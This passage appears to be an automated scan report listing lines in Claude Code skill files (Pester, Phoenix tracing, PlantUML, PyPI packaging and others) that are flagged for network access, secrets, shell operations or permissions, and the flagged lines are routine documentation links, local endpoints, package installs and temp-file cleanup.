> https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4. - Network accessline 74
There is a community migration script that does the BeforeAll wrap for you (review its output): https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada - Network accessline 75
https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada - Network accessline 110
Prefer `-ForEach` on the block/`It` over a hand-written `foreach`; it both creates the copies and makes the current item available. Use `<_>` (or `<Name>` for hashtable items) in the name to template per-item titles. Reference: https://pest - Network accessline 112
template per-item titles. Reference: https://pester.dev/docs/usage/data-driven-tests. - Network accessline 178
it down) and lets you test internals instead of the published surface. Prefer `-ModuleName` on `Mock` and on `Should -Invoke`; if you must use `InModuleScope`, keep it inside `It`. See https://pester.dev/docs/usage/mocking. - Network accessline 180
https://pester.dev/docs/usage/mocking.
harness/claude-code/skills/pester-migration/references/v5-to-v6.md
- Network accessline 7
Official guide: https://pester.dev/docs/migrations/v5-to-v6 - Network accessline 60
single grand total. The old `Starting discovery in N files.` / `Discovery found X tests` framing is gone for a normal run. The parallel runner (`Run.Parallel`) keeps the same result object with a few edge cases — see https://pester.dev/docs - Network accessline 62
edge cases — see https://pester.dev/docs/usage/result-object#parallel-runner-edge-cases. - Network accessline 197
failure messages. **You do not need to touch your existing `Should -Be` assertions to upgrade**; they keep working. Treat any `Should -Be` → `Should-Be` rewrite as a separate, later effort, not part of this migration. Reference: https://pes - Network accessline 199
part of this migration. Reference: https://pester.dev/docs/commands/Should-Be.
harness/claude-code/skills/pester-should-migration/SKILL.md
- Network accessline 121
- `actual/expected` - `case-sensitive` - `https://pester.dev/docs/assertions/should-command` - Network accessline 122
- `case-sensitive` - `https://pester.dev/docs/assertions/should-command` - `https://pester.dev/docs/commands/Should-Be` - Network accessline 123
- `https://pester.dev/docs/assertions/should-command` - Network accessline 124
- `https://pester.dev/docs/commands/Should-Be` - Network accessline 125
- `https://pester.dev/docs/migrations/v5-to-v6` - Network accessline 164
- [Should-Be command](https://pester.dev/docs/commands/Should-Be) - Network accessline 165
- [Should assertions concept](https://pester.dev/docs/assertions/should-command) - Network accessline 166
- [Pester v5 to v6 migration](https://pester.dev/docs/migrations/v5-to-v6)
harness/claude-code/skills/pester-should-migration/references/assertion-map.md
- Network accessline 4
Pester v6 `Should-*` assertions. Every signature here was taken from the Pester v6 command reference. For the authoritative, always-current parameters and examples, open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`) - Network accessline 6
open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`).
harness/claude-code/skills/phoenix-cli/SKILL.md
- Access to secretsline 36
[Credential-related source omitted] - Network accessline 81
export PHOENIX_HOST=http://localhost:6006 - Access to secretsline 83
[Credential-related source omitted] - Network accessline 129
px auth status # check connection and authentication px auth status --endpoint http://other:6006 # check a specific endpoint - Network accessline 130
px auth status --endpoint http://other:6006 # check a specific endpoint - Network accessline 142
px profile show # show the active profile's settings px profile show staging # show a named profile's settings px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key> - Network accessline 143
px profile show staging # show a named profile's settings px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key> --activate px profile create local --endpoint http://localhost:6006 --project my- - Network accessline 144
px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key> --activate - Network accessline 145
px profile create local --endpoint http://localhost:6006 --project my-app - Network accessline 394
- [Phoenix application](https://app.phoenix.arize.com)
harness/claude-code/skills/phoenix-cli/references/axial-coding.md
- Dangerous shell operationline 165
rm -f "$NOTES_SIDECAR" "$AXIAL_SIDECAR"
harness/claude-code/skills/phoenix-cli/references/open-coding.md
- Dangerous shell operationline 239
rm -f "$SIDECAR" ".px/coding/${SLUG}-axial.jsonl"
harness/claude-code/skills/phoenix-evals/references/common-mistakes-python.md
- Network accessline 72
# WRONG client = Client(endpoint="https://app.phoenix.arize.com") - Network accessline 73
client = Client(endpoint="https://app.phoenix.arize.com") - Network accessline 74
client = Client(url="https://app.phoenix.arize.com") - Network accessline 76
[Credential-related source omitted] - Network accessline 77
[Credential-related source omitted] - Access to secretsline 77
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted]
harness/claude-code/skills/phoenix-evals/references/error-analysis.md
harness/claude-code/skills/phoenix-evals/references/observe-tracing-setup.md
harness/claude-code/skills/phoenix-tracing/README.md
- Network accessline 20
- [OpenInference Spec](https://github.com/Arize-ai/openinference/tree/main/spec) - Network accessline 21
- [Phoenix Documentation](https://docs.arize.com/phoenix) - Network accessline 22
- [Python OTEL API](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing) - Network accessline 23
- [Python Client API](https://arize.com/docs/phoenix) - Network accessline 24
- [TypeScript API](https://arize-ai.github.io/phoenix/)
harness/claude-code/skills/phoenix-tracing/SKILL.md
- Network accessline 141
- [Phoenix Documentation](https://docs.arize.com/phoenix) - Network accessline 142
- [OpenInference Spec](https://github.com/Arize-ai/openinference/tree/main/spec) - Network accessline 143
- [Python OTEL Package](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing) - Network accessline 144
- [Python Client Package](https://arize.com/docs/phoenix) - Network accessline 145
- [TypeScript Packages](https://arize-ai.github.io/phoenix/)
harness/claude-code/skills/phoenix-tracing/references/annotations-python.md
harness/claude-code/skills/phoenix-tracing/references/annotations-typescript.md
- Network accessline 8
import { createClient } from "@arizeai/phoenix-client"; const client = createClient(); // Default: http://localhost:6006 - Network accessline 9
const client = createClient(); // Default: http://localhost:6006 - Network accessline 173
- [TypeScript Client API](https://arize-ai.github.io/phoenix/)
harness/claude-code/skills/phoenix-tracing/references/instrumentation-manual-python.md
- Network accessline 47
@tracer.tool def get_weather(city: str) -> str: response = requests.get(f"https://api.weather.com/{city}") - Network accessline 48
def get_weather(city: str) -> str: response = requests.get(f"https://api.weather.com/{city}") return response.json()["weather"] - Network accessline 49
response = requests.get(f"https://api.weather.com/{city}") - Network accessline 180
- **Span attributes:** `span-chain.md`, `span-retriever.md`, `span-tool.md`, `span-llm.md`, `span-agent.md`, `span-embedding.md`, `span-reranker.md`, `span-guardrail.md`, `span-evaluator.md` - **Auto-instrumentation:** `instrumentation-auto - Network accessline 182
- **API docs:** https://arize.com/docs/phoenix/tracing/how-to-tracing
harness/claude-code/skills/phoenix-tracing/references/instrumentation-manual-typescript.md
- Network accessline 53
// TOOL - function calls const getWeather = traceTool( async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()), - Network accessline 54
const getWeather = traceTool( async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()), { name: "get-weather" } - Network accessline 55
async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()), - Network accessline 170
- **Span attributes:** `span-chain.md`, `span-retriever.md`, `span-tool.md`, etc. - **Attribute helpers:** https://arize.com/docs/phoenix/tracing/how-to-tracing#manual-instrumentation - Network accessline 171
- **Attribute helpers:** https://arize.com/docs/phoenix/tracing/how-to-tracing#manual-instrumentation
harness/claude-code/skills/phoenix-tracing/references/projects-python.md
- Access to secretsline 21
[Credential-related source omitted]
harness/claude-code/skills/phoenix-tracing/references/sessions-python.md
harness/claude-code/skills/phoenix-tracing/references/sessions-typescript.md
- Network accessline 23
register({ projectName: "your-app", url: process.env.PHOENIX_COLLECTOR_ENDPOINT || "http://localhost:6006", - Network accessline 24
[Credential-related source omitted] - Network accessline 25
url: process.env.PHOENIX_COLLECTOR_ENDPOINT || "http://localhost:6006", - Access to secretsline 26
[Credential-related source omitted] - Network accessline 95
# Get all traces for a session npx @arizeai/phoenix-cli traces \ --endpoint http://localhost:6006 \ - Network accessline 96
npx @arizeai/phoenix-cli traces --endpoint http://localhost:6006 - Network accessline 97
--endpoint http://localhost:6006 \
harness/claude-code/skills/phoenix-tracing/references/setup-python.md
- Network accessline 19
**Connects to `http://localhost:6006`, auto-instruments all supported libraries.** - Network accessline 34
[Credential-related source omitted] - Access to secretsline 34
[Credential-related source omitted] - Network accessline 35
export PHOENIX_COLLECTOR_ENDPOINT="http://localhost:6006" # Or Cloud URL - Network accessline 44
tracer_provider = register( project_name="my-app", # Project name endpoint="http://localhost:6006", # Phoenix endpoint - Network accessline 45
project_name="my-app", # Project name endpoint="http://localhost:6006", # Phoenix endpoint auto_instrument=True, # Auto-instrument supported libs - Network accessline 46
endpoint="http://localhost:6006", # Phoenix endpoint - Network accessline 89
**Link:** https://opentelemetry.io/docs/specs/otel/configuration/sdk-environment-variables/ - Network accessline 93
1. Open Phoenix UI: `http://localhost:6006` - Access to secretsline 103
[Credential-related source omitted] - Network accessline 130
- [Python OTEL API Docs](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing) - Network accessline 131
- [Python Client API Docs](https://arize.com/docs/phoenix)
harness/claude-code/skills/phoenix-tracing/references/setup-typescript.md
- Network accessline 23
Connects to `http://localhost:6006` by default. - Network accessline 30
register({ projectName: "my-app", url: "http://localhost:6006", - Network accessline 31
[Credential-related source omitted] - Network accessline 32
url: "http://localhost:6006", - Access to secretsline 33
[Credential-related source omitted] - Network accessline 41
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted] - Network accessline 42
export PHOENIX_COLLECTOR_ENDPOINT="http://localhost:6006" - Network accessline 135
1. Open Phoenix UI: `http://localhost:6006` - Access to secretsline 154
[Credential-related source omitted] - Network accessline 168
- **Auto-instrumentation:** `instrumentation-auto-typescript.md` - **Manual instrumentation:** `instrumentation-manual-typescript.md` - **API docs:** https://arize-ai.github.io/phoenix/ - Network accessline 170
- **API docs:** https://arize-ai.github.io/phoenix/
harness/claude-code/skills/phoenix-tracing/references/span-llm.md
- Network accessline 78
- **Instrumentation:** `instrumentation-auto-python.md`, `instrumentation-manual-python.md` - **Full spec:** https://github.com/Arize-ai/openinference/blob/main/spec/semantic_conventions.md - Network accessline 79
- **Full spec:** https://github.com/Arize-ai/openinference/blob/main/spec/semantic_conventions.md
harness/claude-code/skills/phoenix-tracing/references/span-retriever.md
harness/claude-code/skills/php-mcp-server-generator/references/templates-and-development.md
harness/claude-code/skills/pinecone-rag/SKILL.md
harness/claude-code/skills/plantuml-ascii/SKILL.md
- Broad permissionsline 1
Bash, Write, Read - Dangerous shell operationline 47
sudo apt-get install plantuml # Ubuntu/Debian - Dangerous shell operationline 48
sudo yum install plantuml # RHEL/CentOS - Network accessline 50
# Or download JAR directly wget https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar - Network accessline 51
wget https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar - Dangerous shell operationline 355
- [ ] Installation blockers name the missing command and offer `brew install plantuml`, `sudo apt-get install plantuml`, `sudo yum install plantuml`, or `java -jar plantuml.jar`. - Network accessline 359
- [PlantUML release JAR example](https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar)
harness/claude-code/skills/playwright-automation-fill-in-form/SKILL.md
- Network accessline 24
- Use Playwright MCP browser automation, not direct HTTP requests, because the task depends on visible form controls and file upload widgets. - Navigate to `https://forms.microsoft.com/url-of-my-form` unless the user supplies a different Mi - Network accessline 25
- Navigate to `https://forms.microsoft.com/url-of-my-form` unless the user supplies a different Microsoft Forms URL. - Network accessline 59
**Status:** ready for review | blocked **URL:** `https://forms.microsoft.com/url-of-my-form` - Network accessline 60
**URL:** `https://forms.microsoft.com/url-of-my-form` - Network accessline 75
- [ ] The browser navigated to `https://forms.microsoft.com/url-of-my-form` or the user-supplied replacement URL.
harness/claude-code/skills/power-apps-code-app-scaffold/SKILL.md
- Network accessline 184
- Official samples: https://github.com/microsoft/PowerAppsCodeApps, see current docs before coding.
harness/claude-code/skills/power-platform-architect/SKILL.md
- Network accessline 39
| AI extraction or prediction | **AI Builder** | OCR, sentiment analysis, prediction, document extraction, invoice/receipt/ID/business card processing, classification, entity extraction, key phrase extraction, language detection, text trans - Network accessline 40
| Enterprise data | **Dataverse** | Tables, columns, relationships, rich text, JSON, file/image storage, RBAC, security roles, business units, row-level security, column-level security, team sharing, elastic tables, auditing, versioning, an - Network accessline 41
| Integrations | **Connectors and Custom Connectors** | Use standard connectors when available; wrap a REST API as a Custom Connector when the target system is absent from https://learn.microsoft.com/en-us/connectors/connector-reference/con - Network accessline 67
6. Write the architecture as a business process story that includes human users and audience labels such as "vendors", "property owners", "audit team", or named business teams. 7. If the user asks for a diagram, generate a simple Mermaid.js - Network accessline 69
8. Tell the user the file was saved and instruct them to open https://mermaid.ai/live/edit, copy the file contents into the Code pane, and report any syntax issue for correction. - Network accessline 127
- `high-level` - `high-volume` - `https://mermaid.ai/live/edit` - Network accessline 128
- `high-volume` - `https://mermaid.ai/live/edit` - `industry-specific` - Network accessline 129
- `https://mermaid.ai/live/edit` - Network accessline 165
### Optional diagram **Diagram file:** `<file.md>` | not requested **Mermaid editor:** https://mermaid.ai/live/edit - Network accessline 167
**Mermaid editor:** https://mermaid.ai/live/edit - Network accessline 181
- [Power Automate connector reference](https://learn.microsoft.com/en-us/connectors/connector-reference/connector-reference-powerautomate-connectors) - Network accessline 182
- [Mermaid Live Editor](https://mermaid.ai/live/edit)
harness/claude-code/skills/pr-dashboard/scripts/lib/utils.mjs
- Executable scriptline 1
Executable file
harness/claude-code/skills/pr-dashboard/scripts/pr-dashboard-cli.mjs
- Executable scriptline 1
#!/usr/bin/env node - Network accessline 219
return `<tr> <td><a href="https://github.com/${escapeHtml(pr.repo)}" target="_blank" rel="noopener noreferrer">${escapeHtml(pr.repo)}</a></td> - Network accessline 220
<td><a href="https://github.com/${escapeHtml(pr.repo)}" target="_blank" rel="noopener noreferrer">${escapeHtml(pr.repo)}</a></td>
harness/claude-code/skills/pr-screenshots/SKILL.md
harness/claude-code/skills/premium-frontend-ui/SKILL.md
- Network accessline 8
metadata: author: Utkarsh Patrikar author_url: "https://github.com/utkarsh232005" - Network accessline 9
author: Utkarsh Patrikar author_url: "https://github.com/utkarsh232005" --- - Network accessline 10
author_url: "https://github.com/utkarsh232005" - Network accessline 129
- [Author profile](https://github.com/utkarsh232005)
harness/claude-code/skills/publish-to-pages/SKILL.md
- Network accessline 29
command -v gh >/dev/null || echo "MISSING: gh CLI — install from https://cli.github.com" - Network accessline 56
| PDF | `python3 SKILL_DIR/scripts/convert-pdf.py INPUT_FILE /tmp/output.html` | | PDF, forced external assets | `python3 SKILL_DIR/scripts/convert-pdf.py INPUT_FILE /tmp/output.html --external-assets` | | Google Slides download | `curl -L - Network accessline 58
| Google Slides download | `curl -L "https://docs.google.com/presentation/d/PRESENTATION_ID/export/pptx" -o /tmp/slides.pptx` | - Network accessline 110
**Status:** published | blocked **Repository:** `https://github.com/USERNAME/REPO_NAME` - Network accessline 111
**Repository:** `https://github.com/USERNAME/REPO_NAME` - Network accessline 112
**Live URL:** `https://USERNAME.github.io/REPO_NAME/` - Network accessline 139
- [GitHub CLI](https://cli.github.com)
harness/claude-code/skills/publish-to-pages/scripts/convert-pdf.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/publish-to-pages/scripts/convert-pptx.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 98
sp_pr = shape._element.find(qn('a:spPr')) if sp_pr is None: for tag in ['{http://schemas.openxmlformats.org/drawingml/2006/main}spPr', - Network accessline 99
if sp_pr is None: for tag in ['{http://schemas.openxmlformats.org/drawingml/2006/main}spPr', '{http://schemas.openxmlformats.org/presentationml/2006/main}spPr']: - Network accessline 100
for tag in ['{http://schemas.openxmlformats.org/drawingml/2006/main}spPr', - Network accessline 101
'{http://schemas.openxmlformats.org/presentationml/2006/main}spPr']:
harness/claude-code/skills/publish-to-pages/scripts/publish.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 23
TMPDIR=$(mktemp -d) git clone "https://github.com/$USERNAME/$REPO_NAME.git" "$TMPDIR" - Network accessline 24
git clone "https://github.com/$USERNAME/$REPO_NAME.git" "$TMPDIR" - Network accessline 45
echo "REPO_URL=https://github.com/$USERNAME/$REPO_NAME" - Network accessline 46
echo "PAGES_URL=https://$USERNAME.github.io/$REPO_NAME/" - Dangerous shell operationline 51
rm -rf "$TMPDIR"
harness/claude-code/skills/python-azure-iot-edge-modules/SKILL.md
- Network accessline 28
- https://learn.microsoft.com/azure/iot-edge/ - Network accessline 29
- https://learn.microsoft.com/es-es/azure/iot-edge/ - Network accessline 33
- https://www.python.org/ - Network accessline 34
- https://docs.python.org/3/ - Network accessline 35
- https://docs.python.org/3/reference/ - Network accessline 36
- https://docs.python.org/3/harness/github-copilot/ - Network accessline 139
- [Azure IoT Edge](https://learn.microsoft.com/azure/iot-edge/) - Network accessline 140
- [Azure IoT Edge Spanish documentation](https://learn.microsoft.com/es-es/azure/iot-edge/) - Network accessline 141
- [Python](https://www.python.org/) - Network accessline 142
- [Python 3 documentation](https://docs.python.org/3/) - Network accessline 143
- [Python language reference](https://docs.python.org/3/reference/) - Network accessline 144
- [Python standard library](https://docs.python.org/3/harness/github-copilot/)
harness/claude-code/skills/python-azure-iot-edge-modules/references/python-edge-module-template.md
harness/claude-code/skills/python-azure-iot-edge-modules/references/python-official-best-practices.md
- Network accessline 7
- Python home: <https://www.python.org/> - Network accessline 8
- Python documentation portal: <https://docs.python.org/3/> - Network accessline 9
- Python tutorial: <https://docs.python.org/3/tutorial/> - Network accessline 10
- Python language reference: <https://docs.python.org/3/reference/> - Network accessline 11
- Python standard library reference: <https://docs.python.org/3/harness/github-copilot/> - Network accessline 12
- Python HOWTOs: <https://docs.python.org/3/howto/> - Network accessline 13
- Installing modules: <https://docs.python.org/3/installing/> - Network accessline 14
- Distributing modules: <https://docs.python.org/3/distributing/> - Network accessline 15
- PEP index: <https://peps.python.org/> - Network accessline 16
- PyPA packaging guide: <https://packaging.python.org/>
harness/claude-code/skills/python-mcp-server-generator/SKILL.md
- Network accessline 56
For HTTP testing, connect clients to `http://localhost:PORT/mcp`. - Network accessline 101
| Run MCP Inspector | `uv run mcp dev server.py` | | Install to Claude Desktop | `uv run mcp install server.py` | | Run HTTP server | `python server.py`, then connect to `http://localhost:PORT/mcp` | - Network accessline 103
| Run HTTP server | `python server.py`, then connect to `http://localhost:PORT/mcp` |
harness/claude-code/skills/python-pypi-package-builder/SKILL.md
- Network accessline 99
- PyPI name: all lowercase, hyphens — `my-python-library` - Python import name: underscores — `my_python_library` - Check availability: https://pypi.org/search/ before starting - Network accessline 100
- Python import name: underscores — `my_python_library` - Check availability: https://pypi.org/search/ before starting - Avoid shadowing popular packages (verify `pip install <name>` fails first) - Network accessline 101
- Check availability: https://pypi.org/search/ before starting - Network accessline 192
4. TEST PUBLISH (first release only) twine upload --repository testpypi dist/* └── Verify: pip install --index-url https://test.pypi.org/simple/ your-package - Network accessline 194
└── Verify: pip install --index-url https://test.pypi.org/simple/ your-package - Network accessline 406
git tag vX.Y.Z git push origin main --tags # 4. Monitor GitHub Actions → verify on https://pypi.org/project/your-package/ - Network accessline 408
# 4. Monitor GitHub Actions → verify on https://pypi.org/project/your-package/ - Network accessline 480
**Release path** - TestPyPI: `twine upload --repository testpypi dist/*` then `pip install --index-url https://test.pypi.org/simple/ your-package` - Network accessline 481
- TestPyPI: `twine upload --repository testpypi dist/*` then `pip install --index-url https://test.pypi.org/simple/ your-package` - Network accessline 487
- [ ] Package type, layout, backend, and versioning choices were made using the decision tables in this skill. - [ ] PyPI name is lowercase with hyphens, import name uses underscores, and availability was checked at (https://pypi.org/search - Network accessline 488
- [ ] PyPI name is lowercase with hyphens, import name uses underscores, and availability was checked at (https://pypi.org/search/). - Network accessline 494
- [ ] Tests, Ruff, mypy, and pre-commit configuration match the selected package complexity. - [ ] Publishing uses Trusted Publishing / OIDC where possible; API tokens are fallback only and never committed. - [ ] Release governance covers ` - Network accessline 495
- [ ] Publishing uses Trusted Publishing / OIDC where possible; API tokens are fallback only and never committed. - [ ] Release governance covers `CHANGELOG.md`, valid `vX.Y.Z` tags, branch protection, and https://pypi.org/project/your-pack - Network accessline 496
- [ ] Release governance covers `CHANGELOG.md`, valid `vX.Y.Z` tags, branch protection, and https://pypi.org/project/your-package/ verification. - Network accessline 501
- [PyPI package search](https://pypi.org/search/) - Network accessline 502
- [TestPyPI simple index](https://test.pypi.org/simple/) - Network accessline 503
- [Example PyPI project verification URL](https://pypi.org/project/your-package/)
harness/claude-code/skills/python-pypi-package-builder/references/architecture-patterns.md
- Access to secretsline 176
[Credential-related source omitted] - Access to secretsline 193
[Credential-related source omitted] - Access to secretsline 199
[Credential-related source omitted] - Network accessline 200
timeout: int = 30 retries: int = 3 base_url: str = "https://api.example.com/v1" - Network accessline 202
base_url: str = "https://api.example.com/v1" - Access to secretsline 205
[Credential-related source omitted] - Access to secretsline 206
[Credential-related source omitted] - Access to secretsline 216
[Credential-related source omitted] - Access to secretsline 219
[Credential-related source omitted] - Access to secretsline 220
[Credential-related source omitted] - Access to secretsline 221
[Credential-related source omitted] - Access to secretsline 222
[Credential-related source omitted] - Access to secretsline 236
[Credential-related source omitted] - Network accessline 237
timeout: int = Field(30, ge=1) retries: int = Field(3, ge=0) base_url: str = "https://api.example.com/v1" - Network accessline 239
base_url: str = "https://api.example.com/v1" - Network accessline 278
def __init__(self, settings: Settings) -> None: self._settings = settings self._client = httpx.Client( - Network accessline 279
self._settings = settings self._client = httpx.Client( base_url=settings.base_url, - Network accessline 280
self._client = httpx.Client( - Access to secretsline 283
[Credential-related source omitted] - Network accessline 342
def __init__(self, settings: Settings) -> None: self._settings = settings self._client = httpx.AsyncClient( - Network accessline 343
self._settings = settings self._client = httpx.AsyncClient( base_url=settings.base_url, - Network accessline 344
self._client = httpx.AsyncClient( - Access to secretsline 347
[Credential-related source omitted] - Access to secretsline 418
[Credential-related source omitted] - Access to secretsline 421
[Credential-related source omitted] - Access to secretsline 423
[Credential-related source omitted] - Access to secretsline 451
[Credential-related source omitted] - Access to secretsline 455
[Credential-related source omitted] - Access to secretsline 494
[Credential-related source omitted] - Access to secretsline 502
[Credential-related source omitted] - Access to secretsline 503
[Credential-related source omitted] - Access to secretsline 504
[Credential-related source omitted] - Access to secretsline 517
[Credential-related source omitted]
harness/claude-code/skills/python-pypi-package-builder/references/ci-publishing.md
- Network accessline 17
Keep a `CHANGELOG.md` following [Keep a Changelog](https://keepachangelog.com/) conventions. - Network accessline 26
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), - Network accessline 27
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). - Network accessline 60
[Unreleased]: https://github.com/{owner}/{repo}/compare/v1.0.0...HEAD - Network accessline 61
[1.0.0]: https://github.com/{owner}/{repo}/compare/v0.1.0...v1.0.0 - Network accessline 62
[0.1.0]: https://github.com/{owner}/{repo}/releases/tag/v0.1.0 - Network accessline 237
1. Create an account at https://pypi.org - Network accessline 267
# OR test on TestPyPI first (recommended for first release) twine upload --repository testpypi dist/* pip install --index-url https://test.pypi.org/simple/ your-package - Network accessline 268
twine upload --repository testpypi dist/* pip install --index-url https://test.pypi.org/simple/ your-package python -c "import your_package; print(your_package.__version__)" - Network accessline 269
pip install --index-url https://test.pypi.org/simple/ your-package
harness/claude-code/skills/python-pypi-package-builder/references/community-docs.md
- Network accessline 25
[](https://pypi.org/project/your-package/) - Network accessline 26
[](https://pypi.org/project/your-package/) - Network accessline 27
[](https://github.com/{owner}/{repo}/actions/workflows/ci.yml) - Network accessline 28
[](https://codecov.io/gh/you/your-package) - Network accessline 29
[](LICENSE) - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 57
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted] - Access to secretsline 97
[Credential-related source omitted] - Access to secretsline 101
[Credential-related source omitted] - Network accessline 115
git clone https://github.com/{owner}/{repo} - Network accessline 409
# 5. Monitor: https://github.com/<you>/<pkg>/actions - Network accessline 410
# 6. Verify: https://pypi.org/project/your-package/
harness/claude-code/skills/python-pypi-package-builder/references/library-patterns.md
- Access to secretsline 258
[Credential-related source omitted] - Access to secretsline 263
[Credential-related source omitted] - Access to secretsline 264
[Credential-related source omitted] - Access to secretsline 313
[Credential-related source omitted] - Access to secretsline 318
[Credential-related source omitted] - Access to secretsline 322
[Credential-related source omitted] - Access to secretsline 328
[Credential-related source omitted] - Access to secretsline 332
[Credential-related source omitted] - Access to secretsline 333
[Credential-related source omitted] - Access to secretsline 336
[Credential-related source omitted] - Access to secretsline 379
[Credential-related source omitted] - Access to secretsline 390
[Credential-related source omitted] - Access to secretsline 397
[Credential-related source omitted] - Access to secretsline 405
[Credential-related source omitted] - Network accessline 434
timeout: int = 30 retries: int = 3 base_url: str = "https://api.example.com" - Network accessline 435
retries: int = 3 base_url: str = "https://api.example.com" extra_headers: dict[str, str] = field(default_factory=dict) - Network accessline 436
base_url: str = "https://api.example.com" - Access to secretsline 601
[Credential-related source omitted] - Access to secretsline 605
[Credential-related source omitted]
harness/claude-code/skills/python-pypi-package-builder/references/pyproject-toml.md
- Network accessline 79
[project.urls] Homepage = "https://github.com/yourusername/your-package" - Network accessline 80
Homepage = "https://github.com/yourusername/your-package" - Network accessline 81
Documentation = "https://github.com/yourusername/your-package#readme" - Network accessline 82
Repository = "https://github.com/yourusername/your-package" - Network accessline 83
"Bug Tracker" = "https://github.com/yourusername/your-package/issues" - Network accessline 84
Changelog = "https://github.com/yourusername/your-package/blob/master/CHANGELOG.md" - Network accessline 203
[project.urls] Homepage = "https://github.com/yourusername/your-package" - Network accessline 204
Homepage = "https://github.com/yourusername/your-package" - Network accessline 205
Changelog = "https://github.com/yourusername/your-package/blob/master/CHANGELOG.md" - Network accessline 247
[project.urls] Homepage = "https://github.com/yourusername/your-package" - Network accessline 248
Homepage = "https://github.com/yourusername/your-package"
harness/claude-code/skills/python-pypi-package-builder/references/release-governance.md
- Network accessline 130
# 5. Confirm: GitHub Actions publish.yml triggers automatically # Monitor: Actions tab → publish workflow # Verify: https://pypi.org/project/your-package/ - Network accessline 132
# Verify: https://pypi.org/project/your-package/ - Network accessline 171
1. Go to https://pypi.org/manage/project/your-package/settings/publishing/ - Network accessline 338
uses: pypa/gh-action-pypi-publish@release/v1 with: repository-url: https://test.pypi.org/legacy/ - Network accessline 339
with: repository-url: https://test.pypi.org/legacy/ continue-on-error: true # Non-fatal; remove if you always want this to pass - Network accessline 340
repository-url: https://test.pypi.org/legacy/
harness/claude-code/skills/python-pypi-package-builder/references/testing-quality.md
- Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 57
[Credential-related source omitted] - Access to secretsline 58
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Network accessline 212
# .pre-commit-config.yaml repos: - repo: https://github.com/astral-sh/ruff-pre-commit - Network accessline 213
repos: - repo: https://github.com/astral-sh/ruff-pre-commit rev: v0.4.4 - Network accessline 214
- repo: https://github.com/astral-sh/ruff-pre-commit - Network accessline 221
- repo: https://github.com/psf/black - Network accessline 226
- repo: https://github.com/pycqa/isort - Network accessline 231
- repo: https://github.com/pre-commit/mirrors-mypy - Network accessline 237
- repo: https://github.com/pre-commit/pre-commit-hooks
harness/claude-code/skills/python-pypi-package-builder/references/tooling-ruff.md
- Network accessline 149
# .pre-commit-config.yaml repos: - repo: https://github.com/astral-sh/ruff-pre-commit - Network accessline 150
repos: - repo: https://github.com/astral-sh/ruff-pre-commit rev: v0.4.4 # Pin to a specific release; update periodically with `pre-commit autoupdate` - Network accessline 151
- repo: https://github.com/astral-sh/ruff-pre-commit - Network accessline 158
- repo: https://github.com/pre-commit/mirrors-mypy - Network accessline 167
- repo: https://github.com/pre-commit/pre-commit-hooks - Network accessline 182
# DELETE or never add: - repo: https://github.com/psf/black # replaced by ruff-format - Network accessline 183
- repo: https://github.com/psf/black # replaced by ruff-format - Network accessline 184
- repo: https://github.com/PyCQA/isort # replaced by ruff lint I rules - Network accessline 185
- repo: https://github.com/PyCQA/flake8 # replaced by ruff check - Network accessline 186
- repo: https://github.com/PyCQA/autoflake # replaced by ruff check F401
harness/claude-code/skills/python-pypi-package-builder/references/versioning-strategy.md
- Network accessline 20
All Python package versions must comply with [PEP 440](https://peps.python.org/pep-0440/). - Network accessline 363
# Step 4: Test on TestPyPI first (first release or major change) twine upload --repository testpypi dist/* pip install --index-url https://test.pypi.org/simple/ --extra-index-url https://pypi.org/simple/ your-package==1.2.3 - Network accessline 365
pip install --index-url https://test.pypi.org/simple/ --extra-index-url https://pypi.org/simple/ your-package==1.2.3
harness/claude-code/skills/python-pypi-package-builder/scripts/scaffold.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 113
[project.urls] Homepage = "https://github.com/yourusername/{name}" - Network accessline 114
Homepage = "https://github.com/yourusername/{name}" - Network accessline 115
Documentation = "https://github.com/yourusername/{name}#readme" - Network accessline 116
Repository = "https://github.com/yourusername/{name}" - Network accessline 117
"Bug Tracker" = "https://github.com/yourusername/{name}/issues" - Network accessline 118
Changelog = "https://github.com/yourusername/{name}/blob/master/CHANGELOG.md" - Network accessline 217
[project.urls] Homepage = "https://github.com/yourusername/{name}" - Network accessline 218
Homepage = "https://github.com/yourusername/{name}" - Network accessline 219
Changelog = "https://github.com/yourusername/{name}/blob/master/CHANGELOG.md" - Access to secretsline 289
[Credential-related source omitted] - Access to secretsline 294
[Credential-related source omitted] - Access to secretsline 298
[Credential-related source omitted] - Access to secretsline 304
[Credential-related source omitted] - Access to secretsline 308
[Credential-related source omitted] - Access to secretsline 309
[Credential-related source omitted] - Access to secretsline 312
[Credential-related source omitted] - Access to secretsline 424
[Credential-related source omitted] - Access to secretsline 439
[Credential-related source omitted] - Access to secretsline 444
[Credential-related source omitted] - Access to secretsline 445
[Credential-related source omitted] - Access to secretsline 450
[Credential-related source omitted] - Network accessline 597
